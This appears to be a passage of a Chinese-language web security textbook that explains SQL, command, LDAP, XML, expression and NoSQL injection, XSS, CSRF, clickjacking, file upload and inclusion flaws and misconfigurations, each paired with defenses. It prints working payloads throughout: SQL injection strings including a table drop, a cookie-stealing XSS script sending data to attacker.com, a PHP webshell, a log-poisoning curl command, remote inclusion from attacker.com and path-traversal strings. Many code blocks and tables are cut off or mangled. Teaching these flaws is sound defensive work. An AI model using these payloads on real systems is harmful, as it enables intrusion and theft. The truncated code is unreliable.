Cookie安全风险:
- 会话劫持:攻击者窃取Cookie后可以冒充用户
- XSS窃取:未设置HttpOnly的Cookie可被JavaScript读取
- CSRF攻击:未设置SameSite的Cookie会被自动发送
- 网络窃听:未设置Secure的Cookie可能在HTTP传输中被截获
Session安全风险:
- Session预测:使用可预测的Session ID
- Session fixation:攻击者预先设置Session ID
- Session超时未清理:过期Session仍可使用
- Session存储不安全:内存或数据库被攻破
第二章 Web安全漏洞全景
2.1 Web安全概述
2.1.1 Web安全的重要性和现状
Web应用已经深入到社会的各个方面,从个人隐私数据到企业核心资产,从日常娱乐到国家基础设施,Web应用的广泛使用使其成为攻击者的主要目标。根据Verizon的《数据泄露调查报告》,Web应用攻击是导致数据泄露的主要原因之一。
Web安全的重要性体现在以下几个维度:
数据保护
Web应用通常处理大量敏感数据,包括:
- 个人身份信息(PII)
- 财务数据
- 医疗记录
- 商业机密
这些数据的泄露可能造成严重的法律后果和经济损失。
业务连续性
Web攻击可能导致:
- 服务中断
- 数据损毁
- 业务逻辑被滥用
- 经济损失和声誉损害
合规要求
各行业法规对Web安全有明确要求:
- GDPR(通用数据保护条例)
- PCI DSS(支付卡行业数据安全标准)
- HIPAA(健康保险便携性和责任法案)
- 网络安全法、数据安全法
2.1.2 OWASP Top 10简介
OWASP(开放Web应用安全项目)定期发布的Top 10是Web安全领域最具影响力的指南之一。2021年版OWASP Top 10包括:
| 排名 | 漏洞类型 | 描述 |
|---|---|---|
| A01 | 访问控制失效 | 授权机制缺陷,未授权访问 |
| A02 | 加密失败 | 敏感数据未加密或加密不当 |
| A03 | 注入 | SQL、NoSQL、命令注入等 |
| A04 | 不安全设计 | 安全架构设计缺陷 |
| A05 | 安全配置错误 | 默认配置、错误配置 |
| A06 | 易受攻击和过时的组件 | 使用有漏洞的第三方组件 |
| A07 | 识别和身份验证失败 | 身份认证和会话管理缺陷 |
| A08 | 软件和数据完整性失败 | 供应链攻击、不安全反序列化 |
| A09 | 安全日志和监控失败 | 缺乏安全事件记录和响应 |
| A10 | 服务器端请求伪造(SSRF) | 服务端发起恶意请求 |
2.1.3 漏洞分类的方法论
Web安全漏洞可以从多个维度进行分类:
按攻击向量分类
- 服务端漏洞:影响服务器端代码
- 客户端漏洞:影响用户浏览器
- 协议漏洞:影响HTTP等协议本身
按影响类型分类
- 信息泄露:暴露敏感数据
- 代码执行:执行恶意代码
- 权限提升:获取更高权限
- 服务中断:导致服务不可用
按触发方式分类
- 主动漏洞:需要攻击者主动触发
- 被动漏洞:用户访问时自动触发
本文采用按漏洞类型的分类方式,覆盖注入类、跨站类、文件类、信息泄露类、服务器配置类、SSRF类、逻辑漏洞、反序列化类和第三方组件漏洞九大类。
2.2 Web安全漏洞分类体系
基于原始资料中的两篇文章,我们可以建立以下统一的分类框架:
漏洞大类概览表
| 序号 | 大类 | 包含漏洞类型 | 严重程度 | 常见影响 |
|---|---|---|---|---|
| 1 | 注入类漏洞 | SQL注入、命令注入、LDAP注入、XXE、表达式注入、NoSQL注入 | 高-严重 | 数据库泄露、服务器控制 |
| 2 | 跨站类漏洞 | XSS、CSRF、WebSocket劫持、点击劫持 | 中-高 | 会话劫持、用户数据泄露 |
| 3 | 文件类漏洞 | 任意文件上传/下载/读取、LFI/RFI、Zip炸弹 | 高-严重 | 服务器控制、敏感文件泄露 |
| 4 | 信息泄露类漏洞 | 错误信息泄露、源码泄露、备份文件泄露 | 低-中 | 为进一步攻击提供信息 |
| 5 | 服务器配置类漏洞 | 目录遍历、CORS配置错误、弱口令、Debug模式 | 中-高 | 未授权访问、配置泄露 |
| 6 | SSRF漏洞 | 服务端请求伪造 | 高 | 内网探测、云元数据访问 |
| 7 | 逻辑漏洞 | 越权访问、参数篡改、重放攻击、身份伪造 | 中-高 | 权限绕过、业务逻辑滥用 |
| 8 | 反序列化漏洞 | Java反序列化、PHP反序列化 | 严重 | 远程代码执行 |
| 9 | 第三方组件漏洞 | 框架漏洞、供应链攻击 | 高-严重 | 取决于组件漏洞本身 |
第三章 注入类漏洞
注入类漏洞是Web安全中最常见且危害最严重的漏洞类型之一。当用户输入被应用程序错误地当作代码或命令的一部分执行时,就会产生注入漏洞。本章将详细介绍各种注入类漏洞的原理、利用方式和防御措施。
3.1 SQL注入(SQLi)
3.1.1 攻击原理详解
SQL注入(SQL Injection)是一种将恶意SQL语句插入到应用程序输入中,从而使数据库执行攻击者构造的语句的攻击方式。
正常查询示例(PHP + MySQL):
1 | // 用户登录验证 |
攻击场景:
用户提交:
- 用户名:
admin' OR '1'='1 - 密码:
anything
实际执行的SQL:
1 | SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'anything' |
由于1'='1永远为真,攻击者可以绕过密码验证,甚至可以用UNION获取其他表的数据。
联合查询注入示例:
1 | $id = $_GET['id']; |
攻击者提交:id=1 UNION SELECT username,password FROM admin_users--
实际执行的SQL:
1 | SELECT * FROM products WHERE id = 1 UNION SELECT username,password FROM admin_users-- |
3.1.2 注入类型分类
联合注入(Union-based SQLi)
利用UNION语句将恶意查询与原查询合并:
1 | ' UNION SELECT null,username,password,null FROM users-- |
报错注入(Error-based SQLi)
利用数据库错误信息获取数据:
1 | ' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT database())))-- |
盲注(Boolean-based Blind SQLi)
无回显,通过页面响应差异推断数据:
1 | ' AND 1=1 -- // 正常响应 |
时间盲注(Time-based Blind SQLi)
利用延时函数(如SLEEP())通过响应时间推断:
1 | ' AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a',SLEEP(5),0)-- |
堆叠查询(Stacked Queries)
在支持多语句执行的数据库中执行多条SQL:
1 | '; DROP TABLE users; -- |
3.1.3 注入点发现方法
寻找注入点:
- URL参数测试:在查询参数后添加
',",),ORDER BY等测试 - POST数据测试:在表单数据中测试
- HTTP头测试:在Cookie、User-Agent等头中测试
- JSON数据测试:在JSON请求体中测试
检测技巧:
1 | ' OR '1'='1 |
3.1.4 手工注入与自动化工具
手工注入流程(以MySQL为例):
- 寻找注入点
- 判断字段数:
ORDER BY 1,ORDER BY 2… - 确定显示位:
UNION SELECT 1,2,3... - 获取数据库信息:
UNION SELECT 1,version(),database()... - 获取表名:
UNION SELECT 1,table_name,3 FROM information_schema.tables... - 获取列名:
UNION SELECT 1,column_name,3 FROM information_schema.columns... - 提取数据:
UNION SELECT 1,username,password FROM users...
sqlmap使用:
1 | # 基本扫描 |
3.1.5 防御措施详解
1. 使用预编译语句(Prepared Statements)
最佳防御方式,将SQL语句和数据分离:
1 | // 不安全 |
2. 使用ORM框架
大多数ORM框架内置参数化查询:
1 | # Django ORM |
3. 输入验证
1 | // 白名单验证 |
4. 最小权限原则
数据库账户只授予必要的权限:
1 | -- 不使用root账户 |
5. 错误处理
1 | // 生产环境不显示数据库错误 |
6. Web应用防火墙(WAF)
使用ModSecurity等WAF检测和阻止SQL注入:
1 | # ModSecurity规则示例 |
3.2 命令注入(RCE)
3.2.1 攻击原理
命令注入(Command Injection)发生在应用程序将用户输入拼接到系统命令中执行时。攻击者可以注入额外的系统命令,甚至获得交互式Shell。
典型不安全代码(PHP):
1 | // 从URL获取ping目标主机 |
攻击示例:
正常请求:?host=192.168.1.1
攻击请求:?host=192.168.1.1; cat /etc/passwd
实际执行的命令:
1 | ping -c 4 192.168.1.1; cat /etc/passwd |
3.2.2 常见危险函数
PHP危险函数:
| 函数 | 说明 | 示例 |
|---|---|---|
| system() | 执行命令并输出结果 | system(“ls $dir”) |
| exec() | 执行命令返回最后一行 | exec(“ls”, $output) |
| shell_exec() | 通过Shell执行返回完整输出 | shell_exec(“ls”) |
| passthru() | 执行命令并输出原始结果 | passthru(“cat $file”) |
| popen() | 打开进程管道 | popen(“ls”, “r”) |
| proc_open() | 执行命令并与进程交互 | proc_open($cmd, …) |
| backticks (``) | 执行Shell命令 | $output = \ls`;` |
Python危险函数:
| 函数 | 模块 | 示例 |
|---|---|---|
| os.system() | os | os.system(cmd) |
| os.popen() | os | os.popen(cmd) |
| subprocess.call() | subprocess | subprocess.call(args) |
| subprocess.Popen() | subprocess | subprocess.Popen(args) |
| eval() | builtins | eval(code) |
Java危险API:
| 方法 | 说明 |
|---|---|
| Runtime.exec() | 执行系统命令 |
| ProcessBuilder | 构建进程 |
3.2.3 命令连接符
攻击者使用各种连接符注入额外命令:
| 连接符 | 说明 | 示例 | ||||
|---|---|---|---|---|---|---|
| ; | 顺序执行 | cmd1; cmd2 | ||||
| \ | 管道,前输出给后 | `cmd1 \ | cmd2` | |||
| \ | \ | 或,前失败才执行后 | `cmd1 \ | \ | cmd2` | |
| && | 与,前成功才执行后 | cmd1 && cmd2 | ||||
| `` | 命令替换 | `cmd` | ||||
| $() | 命令替换 | $(cmd) | ||||
| > | 输出重定向 | cmd > file | ||||
| >> | 追加重定向 | cmd >> file |
实际攻击示例:
1 | # 查看系统文件 |
3.2.4 防御措施详解
1. 避免使用系统命令
优先使用API调用而非命令行:
1 | // 不推荐 |
2. 输入白名单验证
1 | $allowed_commands = ['ping', 'traceroute', 'nslookup']; |
3. 参数转义
如果必须使用命令,对参数进行严格转义:
1 | // 使用escapeshellarg() |
4. 使用PHP内置函数替代
1 | // 不使用curl命令 |
5. 权限控制
1 | // 使用非特权用户运行PHP-FPM |
3.3 LDAP注入
3.3.1 LDAP协议基础
LDAP(轻量级目录访问协议)用于访问目录服务,如Active Directory、OpenLDAP等。目录服务常用于用户认证和授权管理。
LDAP基本概念:
- DN(Distinguished Name):唯一标识条目,如
cn=john,ou=users,dc=example,dc=com - OU(Organizational Unit):组织单元
- CN(Common Name):通用名称
- DC(Domain Component):域名组件
3.3.2 攻击原理
当用户输入被直接拼接到LDAP查询时,攻击者可以修改查询逻辑:
认证绕过示例(Python + ldap3):
1 | # 不安全的代码 |
常见LDAP注入Payload:
| Payload | 作用 | 说明 | |
|---|---|---|---|
* | 通配符 | 匹配所有条目 | |
)(cn=* | 闭合并添加条件 | (&(cn=*)(cn=*)) | |
)%00 | 注释 | 截断后续查询 | |
(uid=*) | 匹配所有用户 | ||
| `admin)( | (password=*)` | OR注入 | 绕过密码检查 |
3.3.3 防御措施
1. 输入转义
LDAP特殊字符需要转义:
1 | def ldap_escape(val): |
2. 使用参数化查询
1 | from ldap3 import Connection, SAFE_SYNC |
3. 最小权限原则
1 | # 限制LDAP用户权限 |
3.4 XML外部实体注入(XXE)
3.4.1 XML基础与DTD机制
XML(可扩展标记语言)是一种常用的数据格式。DTD(文档类型定义)用于定义XML文档结构。
基本XML示例:
1 |
|
DTD示例:
1 | <!DOCTYPE catalog [ |
3.4.2 攻击原理
XXE(XML External Entity)攻击利用XML解析器处理外部实体时的漏洞:
基本XXE Payload:
1 |
|
服务器解析此XML时会读取/etc/passwd文件内容。
3.4.3 利用方式
1. 文件读取
1 |
|
2. SSRF攻击
1 |
|
3. 拒绝服务(DoS)攻击
1 |
|
Billion Laughs攻击(递归实体扩展):
1 |
|
3.4.4 防御措施
1. 禁用外部实体
1 | // libxml_disable_entity_loader (PHP 8.0+ 已移除) |
2. 使用安全的XML解析库
1 | # Python - defusedxml |
1 | // Java - 禁用DTD |
3. 输入验证
1 | <!-- 不允许DOCTYPE声明 --> |
3.5 表达式注入(EL/OGNL/Freemarker)
3.5.1 攻击原理
表达式注入发生在用户输入被当作表达式执行时。常见于模板引擎和表达式语言。
SpEL注入示例(Spring Expression Language):
1 | // 不安全的代码 |
攻击者输入:T(java.lang.Runtime).getRuntime().exec("calc")
3.5.2 常见表达式引擎漏洞
| 引擎 | 危险Payload | 说明 |
|---|---|---|
| SpEL | T(Runtime).getRuntime().exec('calc') | Spring EL |
| OGNL | ${new ProcessBuilder('calc').start()} | Struts2 |
| MVEL | new ProcessBuilder('calc').start() | MVEL |
| Freemarker | ${"freemarker.template.utility.Execute"?new()("id")} | Freemarker |
3.5.3 防御措施
1. 永远不要将用户输入作为表达式
1 | // 安全 - 不使用用户输入作为表达式 |
2. 使用沙箱环境
1 | // 使用SimpleEvaluationContext限制功能 |
3.6 NoSQL注入
3.6.1 NoSQL数据库基础
NoSQL(Not Only SQL)数据库包括MongoDB、Redis、Cassandra等,与传统关系型数据库不同,它们不使用SQL作为查询语言。
MongoDB查询示例:
1 | // 查找用户 |
3.6.2 攻击原理
MongoDB等NoSQL数据库使用JSON风格的查询,攻击者可以构造特殊查询:
认证绕过示例(Node.js + MongoDB):
1 | // 不安全的代码 |
常见NoSQL注入Payload:
| Payload | 作用 | 数据库 |
|---|---|---|
{"$ne": null} | 匹配非null值 | MongoDB |
{"$gt": ""} | 匹配大于空字符串 | MongoDB |
{"$regex": "^admin"} | 正则匹配 | MongoDB |
1 OR 1=1 | 永真条件 | MongoDB |
[[1,2,3]] | 数组注入 | MongoDB |
3.6.3 防御措施
1. 输入类型验证
1 | // 验证输入类型 |
2. 使用参数化查询
1 | // 大多数MongoDB驱动程序自动处理 |
3. 最小权限原则
1 | // 创建只读用户 |
3.7 注入类漏洞汇总对比表
| 漏洞类型 | 攻击目标 | 危险操作符/字符 | 防御重点 | 影响程度 | |
|---|---|---|---|---|---|
| SQL注入 | 数据库 | ', ", --, UNION | 预编译、参数化 | 严重 | |
| 命令注入 | 操作系统 | ;, ` | ,&&, `` `` | 避免system调用、白名单 | 严重 |
| LDAP注入 | 目录服务 | *, (, ), \ | 输入转义、参数化 | 高 | |
| XXE | XML解析器 | <!ENTITY>, SYSTEM | 禁用外部实体 | 高 | |
| 表达式注入 | 模板引擎 | ${}, T() | 禁止用户输入作为表达式 | 高-严重 | |
| NoSQL注入 | NoSQL数据库 | $ne, $gt, $regex | 输入验证、类型检查 | 中-高 |
第四章 跨站类漏洞
跨站类漏洞是Web安全中影响范围最广的漏洞类型之一,主要利用了Web应用对浏览器的信任。本章将详细介绍XSS、CSRF等跨站类漏洞的原理、利用方式和防御措施。
4.1 跨站脚本攻击(XSS)
4.1.1 三种类型详解
XSS(Cross-Site Scripting,跨站脚本攻击)是指攻击者在页面中注入恶意JavaScript脚本,当其他用户访问该页面时,脚本在用户浏览器中执行的攻击方式。
反射型XSS(非持久型)
恶意脚本来自当前HTTP请求,服务器将用户输入”反射”回响应中:
1 | // 不安全代码 |
攻击者构造链接:http://site.com/search?q=<script>alert(document.cookie)</script>
当用户点击此链接时,脚本会在页面中执行。
存储型XSS(持久型)
恶意脚本被存储在服务器端(数据库、日志等),所有访问该内容的用户都会受影响:
1 | // 不安全代码 - 存储用户评论 |
攻击者提交评论:<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>
所有查看该评论的用户都会执行此脚本。
DOM型XSS
恶意脚本通过修改客户端DOM环境触发,不需要服务器参与:
1 | // 不安全代码 |
攻击者构造链接:http://site.com/?name=<img src=x onerror=alert(document.cookie)>
JavaScript直接操作DOM,插入恶意内容。
4.1.2 攻击原理与代码示例
Cookie窃取:
1 | <script> |
键盘记录:
1 | <script> |
钓鱼攻击:
1 | <div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999"> |
XSS蠕虫(Samy Worm示例):
1 | // 自动传播的XSS |
4.1.3 XSS的危害
| 危害类型 | 说明 | 严重程度 |
|---|---|---|
| 会话劫持 | 窃取Cookie/Session | 高 |
| 凭据窃取 | 键盘记录、钓鱼 | 高 |
| 敏感数据窃取 | 读取页面内容 | 高 |
| 页面篡改 | 修改页面内容 | 中 |
| 恶意软件分发 | 植入恶意代码 | 中-高 |
| 内网攻击 | 利用浏览器作为代理 | 高 |
| 蠕虫传播 | 自我复制传播 | 严重 |
4.1.4 XSS绕过技巧
绕过标签过滤:
1 | <img src=x onerror=alert(1)> <!-- img标签 --> |
绕过事件过滤:
1 | onerror // 常用 |
绕过关键字过滤:
1 | <scr<script>ipt>alert(1)</scr</script>ipt> <!-- 嵌套script --> |
绕过引号过滤:
1 | <img src=x onerror=alert`1`> <!-- 反引号 --> |
Polyglot XSS(多上下文Payload):
1 | jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert(1) )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(1)//>\x3e |
4.1.5 防御措施
1. 输入验证
1 | // 白名单验证 |
2. 输出转义
1 | // HTML转义 |
1 | // JavaScript转义 |
3. Content Security Policy(CSP)
1 | Content-Security-Policy: default-src 'self'; script-src 'self' 'nonceabc123'; object-src 'none' |
4. HttpOnly Cookie
1 | setcookie('session', $session_id, [ |
5. X-XSS-Protection(已过时)
1 | X-XSS-Protection: 1; mode=block |
4.2 跨站请求伪造(CSRF)
4.2.1 攻击原理与流程
CSRF(Cross-Site Request Forgery)利用用户已登录的身份,自动发起恶意请求:
1 | 用户登录银行网站 |
攻击条件:
- 用户已登录目标站点
- 攻击者知道请求的参数格式
- 用户访问攻击者控制的页面
4.2.2 CSRF与XSS的区别
| 特征 | XSS | CSRF |
|---|---|---|
| 攻击目标 | 用户的浏览器 | 目标网站 |
| 攻击原理 | 注入恶意脚本 | 伪造用户请求 |
| 权限来源 | 恶意脚本执行 | 用户已登录身份 |
| 脚本位置 | 目标页面 | 第三方页面 |
| 数据获取 | 可以直接读取 | 无法读取响应 |
4.2.3 攻击示例
自动提交表单:
1 | <html> |
图片标签触发GET请求:
1 | <img src="http://example.com/delete?id=123" width="0" height="0"> |
4.2.4 防御措施
1. CSRF Token
1 | // 生成Token |
1 | <form method="POST"> |
2. SameSite Cookie
1 | setcookie('session', $session_id, [ |
3. Referer/Origin验证
1 | $referer = $_SERVER['HTTP_REFERER']; |
4. 双重提交Cookie
1 | // 检查Cookie中的Token与请求头中的Token是否匹配 |
4.3 跨站WebSocket劫持
4.3.1 WebSocket基础
WebSocket提供双向通信能力,常用于实时应用。握手基于HTTP,使用Upgrade头:
1 | GET /ws |
4.3.2 攻击原理
攻击者可以建立到目标WebSocket服务器的连接(如果同源策略允许),或利用CORS配置不当:
1 | // 恶意页面 |
4.3.3 防御措施
1. Origin验证
1 | // 服务器端验证Origin |
2. 身份认证
1 | // 通过WebSocket发送认证Token |
4.4 点击劫持(Clickjacking)
4.4.1 攻击原理
攻击者将目标网站嵌入到透明的iframe中,诱导用户点击:
1 | <html> |
4.4.2 防御措施
1. X-Frame-Options
1 | X-Frame-Options: DENY <!-- 完全禁止 --> |
2. CSP frame-ancestors
1 | Content-Security-Policy: frame-ancestors 'none'; |
3. Frame Busting脚本
1 | if (top.location !== self.location) { |
4.5 跨站类漏洞汇总对比表
| 漏洞类型 | 攻击向量 | 危害 | 防御措施 |
|---|---|---|---|
| 反射型XSS | URL参数 | 钓鱼、Cookie窃取 | 输出转义 |
| 存储型XSS | 数据库 | 持久化攻击、大规模影响 | 输入验证、输出转义 |
| DOM型XSS | 客户端脚本 | 绕过服务端防护 | 安全DOM操作 |
| CSRF | 跨站请求 | 账户操作被伪造 | Token、SameSite |
| WebSocket劫持 | WebSocket连接 | 数据窃取、命令注入 | Origin验证、认证 |
| 点击劫持 | 透明iframe | 诱导用户点击 | X-Frame-Options、CSP |
第五章 文件类漏洞
文件类漏洞是Web安全中最常见的漏洞类型之一,主要包括任意文件上传、下载、读取、文件包含等。这类漏洞往往可以导致服务器被完全控制。
5.1 任意文件上传
5.1.1 攻击原理与危害
文件上传功能允许用户将本地文件发送到服务器。如果上传功能没有正确验证上传的文件,可能导致恶意文件(如WebShell)被上传并执行。
危害:
- 服务器完全沦陷
- 后门植入
- 数据窃取
- 挖矿软件植入
- DDoS客户端植入
5.1.2 常见绕过手法
双后缀绕过:
文件名:shell.php.jpg
服务器检查扩展名时可能只检查最后一部分.jpg,但如果路径处理不当可能解析为PHP。
Content-Type伪造:
1 | Content-Type: image/png |
实际文件是PHP脚本,服务器仅检查Content-Type可能被绕过。
文件头欺骗:
在PHP文件开头添加图片文件头:
1 | GIF89a; |
.htaccess攻击:
上传.htaccess文件改变解析规则:
1 | AddType application/x-httpd-php .png |
然后上传.png后缀的PHP代码。
大小写绕过:
文件名:shell.PhP
00截断:
文件名:shell.php%00.jpg
URL解码后变成shell.php。
路径穿越:
文件名:../uploads/shell.php
上传到上一层目录。
5.1.3 WebShell上传实战分析
简单WebShell:
1 | system($_GET['cmd']); |
变形WebShell:
1 |
|
使用方法:?x=system&y=whoami
图片马:
使用copy命令合并:
1 | copy normal.jpg/b + shell.php/a shell.jpg |
5.1.4 防御措施
1. 白名单验证
1 | $allowed_extensions = ['jpg', 'jpeg', 'png', 'gif']; |
2. MIME类型验证
1 | $finfo = finfo_open(FILEINFO_MIME_TYPE); |
3. 文件内容检查
1 | // 检查文件头部魔术字节 |
4. 文件重命名
1 | $new_filename = bin2hex(random_bytes(16)) . '.' . $file_extension; |
5. 上传目录不可执行
1 | # Apache |
6. 存储分离
1 | // 将上传文件存储在独立域名或静态文件服务 |
5.2 任意文件下载
5.2.1 攻击原理
如果应用程序允许用户指定要下载的文件路径,且未正确验证路径,可能导致任意文件下载:
1 | // 不安全代码 |
攻击者请求:?file=../../etc/passwd
5.2.2 目录穿越技术详解
穿越技巧:
| Payload | 说明 |
|---|---|
../../../etc/passwd | 穿越三层目录 |
....//....//....//etc/passwd | 双重编码绕过 |
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd | URL编码 |
..%252f..%252f..%252fetc/passwd | 双重URL编码 |
..%c0%af..%c0%af..%c0%afetc/passwd | Unicode编码 |
....\/....\/....\/etc/passwd | 混合绕过 |
5.2.3 防御措施
1. ID映射
1 | // 使用文件ID而非直接路径 |
2. 路径验证
1 | $requested_file = $_GET['file']; |
3. 白名单扩展名
1 | $allowed_extensions = ['pdf', 'docx', 'xlsx']; |
5.3 任意文件读取
5.3.1 攻击原理
与文件下载类似,但可能不需要下载到本地,直接在服务器上读取内容:
1 | // 不安全代码 |
常见目标文件:
| 文件 | 内容 |
|---|---|
/etc/passwd | 用户列表 |
/etc/shadow | 密码哈希 |
/var/www/html/config.php | 数据库凭据 |
/home/user/.ssh/id_rsa | SSH私钥 |
.env | 环境变量 |
web.config | 配置信息 |
5.3.2 与文件下载的区别
| 特征 | 文件下载 | 文件读取 |
|---|---|---|
| 响应头 | Content-Disposition: attachment | Content-Type |
| 浏览器行为 | 弹出下载对话框 | 直接显示内容 |
| 用途 | 获取文件副本 | 查看文件内容 |
| 危害 | 类似 | 类似 |
5.3.3 防御措施
与文件下载防御措施相同。
5.4 本地文件包含(LFI)
5.4.1 攻击原理
LFI(Local File Inclusion)发生在应用程序使用用户输入作为文件路径的一部分时:
1 | // 不安全代码 |
请求:?page=header
实际执行:include('header.php');
5.4.2 常见利用手法
日志注入:
向日志写入PHP代码:
1
curl 'http://target.com' -A "<?php system(\$_GET['cmd']); ?>"
包含日志文件:
1
?page=/var/log/apache2/access.log&cmd=whoami
/proc/self/environ:
1 | ?page=/proc/self/environ |
访问包含环境变量,可能获取敏感信息。
php://filter:
1 | ?page=php://filter/convert.base64-encode/resource=config |
读取任意文件内容(Base64编码)。
PHP伪协议:
1 | // 读取input |
5.4.3 LFI提权到RCE
方法1:日志投毒
1 | # 注入WebShell到日志 |
方法2:Session文件包含
1 | # PHP默认session存储位置 |
方法3:上传文件包含
1 | # 上传图片马 |
5.4.4 防御措施
1. 白名单验证
1 | $allowed_pages = ['home', 'about', 'contact', 'products']; |
2. 禁止路径穿越
1 | if (strpos($page, '..') !== false) { |
3. 使用basename
1 | $page = basename($_GET['page']); |
4. 关闭危险配置
1 | // php.ini |
5.5 远程文件包含(RFI)
5.5.1 攻击原理
RFI(Remote File Inclusion)允许攻击者包含远程服务器上的文件:
1 | // 不安全代码 |
请求:?module=http://attacker.com/shell.txt
攻击者服务器上的shell.txt:
1 |
|
5.5.2 PHP的allow_url_include配置
1 | // php.ini |
5.5.3 防御措施
1. 禁用远程包含
1 | // php.ini |
2. 白名单验证
1 | $allowed_modules = ['news', 'products', 'contact']; |
5.6 ZIP解压炸弹与Zip Slip
5.6.1 Zip Bomb原理
ZIP炸弹是一个精心构造的压缩文件,解压后会产生巨大的数据:
1 | 原始大小: 42KB |
典型ZIP炸弹使用递归压缩技术:
1 | zip.zip -> 引爆 -> zip.zip + text |
5.6.2 Zip Slip路径穿越原理
Zip Slip是一种目录遍历漏洞,发生在解压文件时:
恶意压缩包内容:
1 | filename: ../../../etc/passwd |
如果解压代码未验证路径,会将文件解压到系统任意位置。
5.6.3 防御措施
1. 限制压缩大小
1 | public class SafeZipInputStream extends ZipInputStream { |
2. 路径验证
1 | public void extract(ZipFile zip, File destDir) throws IOException { |
5.7 文件名绕过
5.7.1 常见绕过手法
空字节注入:
1 | shell.php%00.jpg -> shell.php (在某些情况下) |
Unicode规范化:
1 | shell.php。jpg -> shell.php (某些Unicode字符) |
大小写混合:
1 | shell.PHP |
双后缀:
1 | shell.php.jpg |
无扩展名:
如果服务器配置不当,无扩展名的文件可能被当作PHP执行。
5.7.2 防御措施
1. 综合验证
1 | // 1. 验证MIME类型 |
5.8 文件类漏洞汇总对比表
| 漏洞类型 | 攻击方式 | 危害 | 关键防御 |
|---|---|---|---|
| 任意文件上传 | 上传WebShell | 服务器沦陷 | 白名单、MIME验证、目录不可执行 |
| 任意文件下载 | 路径穿越下载 | 敏感文件泄露 | ID映射、路径验证 |
| 任意文件读取 | 路径穿越读取 | 敏感文件泄露 | 路径验证、权限控制 |
| LFI | 包含本地文件 | RCE、信息泄露 | 白名单、禁用危险函数 |
| RFI | 包含远程文件 | RCE | 禁用远程包含 |
| Zip炸弹 | 解压巨大文件 | DoS | 限制解压大小 |
| Zip Slip | 路径穿越解压 | 文件覆盖 | 路径验证 |
第六章 信息泄露类漏洞
信息泄露虽然通常不会被直接利用来获取服务器权限,但往往为更深入的攻击提供重要线索。本章介绍常见的信息泄露漏洞及其防御措施。
6.1 错误信息泄露
6.1.1 常见泄露场景
数据库错误信息:
1 | Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /var/www/html/index.php on line 42 |
暴露:文件路径、数据库类型、代码结构。
Stack Trace:
1 | Exception: SQL syntax error |
暴露:完整的调用栈、第三方库版本。
Web服务器版本:
1 | Apache/2.4.41 (Unix) OpenSSL/1.1.1d PHP/7.4.3 |
6.1.2 防御措施
生产环境禁用详细错误:
1 | // PHP |
1 | // Java - Spring Boot |
统一的错误页面:
1 |
|
6.2 源码泄露(Git/SVN)
6.2.1 Git泄露原理与利用
Git目录.git包含完整的版本控制信息:
1 | .git/ |
利用方法:
1 | # 使用git-dumper |
6.2.2 SVN泄露原理与利用
SVN的工作目录.svn或.svn/entries包含代码信息:
1 | # 使用svn-extractor |
6.2.3 防御措施
1. 禁止访问.git等目录
1 | # Apache .htaccess |
2. 删除敏感目录后再部署
1 | # 使用.gitignore排除敏感文件 |
6.3 后台路径泄露
6.3.1 常见发现方式
1. 搜索引擎发现:
1 | site:target.com inurl:admin |
2. JS文件分析:
1 | // 在JS中发现的路径 |
3. 暴力扫描:
使用常见路径字典进行扫描。
6.3.2 防御措施
1. 安全的路径命名
1 | // 不要使用明显的后台路径 |
2. 认证和IP限制
1 | // IP白名单 |
6.4 备份文件泄露
6.4.1 常见备份文件类型
| 类型 | 常见扩展名 | 说明 |
|---|---|---|
| 编辑器备份 | .bak, .old, .backup, ~ | 编辑器自动创建 |
| 临时文件 | .swp, .swo | Vim等编辑器 |
| 版本控制 | .git, .svn, .hg | 版本控制系统 |
| 压缩备份 | .zip, .tar.gz, .rar | 手动或自动备份 |
| 数据库备份 | .sql, .dump | 数据库导出 |
| 配置文件 | .conf, .config, .ini | 配置文件 |
6.4.2 自动化发现工具
1 | # 使用dirsearch |
6.4.3 防御措施
1. 禁止访问备份文件
1 | # Apache |
2. 部署前删除备份
1 | # 使用构建脚本删除 |
3. 安全的备份存储
1 | # 备份存储在Web根目录之外 |
第七章 服务器配置类漏洞
服务器配置错误是Web安全中最常见的问题之一,正确的服务器配置对于Web应用安全至关重要。
7.1 目录遍历
7.1.1 原理与利用
目录遍历(Directory Traversal)允许攻击者访问服务器上不应访问的目录和文件:
1 | GET /images?file=../../../../etc/passwd |
7.1.2 防御措施
1. 使用realpath()验证
1 | $base_dir = '/var/www/files/'; |
2. 白名单验证
1 | $allowed_files = ['image1.jpg', 'image2.png', 'image3.gif']; |
7.2 不安全的CORS配置
7.2.1 CORS机制详解
CORS(跨域资源共享)允许网页从不同域名访问资源:
1 | # 请求头 |
7.2.2 常见错误配置
配置1:允许所有来源且允许凭证
1 | Access-Control-Allow-Origin: * |
这实际上是错误的配置,浏览器会拒绝。如果Allow-Origin是*,则不能使用凭证。
配置2:反射Origin(动态配置)
1 | // 不安全 |
攻击者可以通过伪造Origin头来绕过限制。
7.2.3 利用方式
1 | // 恶意页面 |
7.2.4 防御措施
1. 静态白名单
1 | $allowed_origins = [ |
2. 验证Origin头
1 | $origin = $_SERVER['HTTP_ORIGIN']; |
7.3 弱口令与默认口令
7.3.1 常见默认口令
| 服务/应用 | 默认用户名 | 默认密码 |
|---|---|---|
| phpMyAdmin | root | (空) |
| Weblogic | system | weblogic |
| Tomcat | admin | admin |
| Jenkins | admin | password |
| MySQL | root | root |
| MongoDB | (无认证) | - |
7.3.2 暴力破解防护
1. 账户锁定
1 | $max_attempts = 5; |
2. 验证码
1 | // 添加CAPTCHA验证 |
3. 速率限制
1 | $ip = $_SERVER['REMOTE_ADDR']; |
7.4 Debug模式开启
7.4.1 各框架的Debug模式风险
Django Debug模式:
1 | # settings.py |
Flask Debug模式:
1 | app.run(debug=True) # 危险!启用交互式调试器 |
攻击者可以利用 Werkzeug 调试器执行任意代码:
1 | {% for c in [1,2,3] %}{{ c }}{% endfor %} |
Spring Boot Debug:
1 | server.error.include-message=always |
7.4.2 防御措施
1. 生产环境禁用Debug
1 | # Django settings.py |
2. 环境变量控制
1 | import os |
3. 安全错误处理
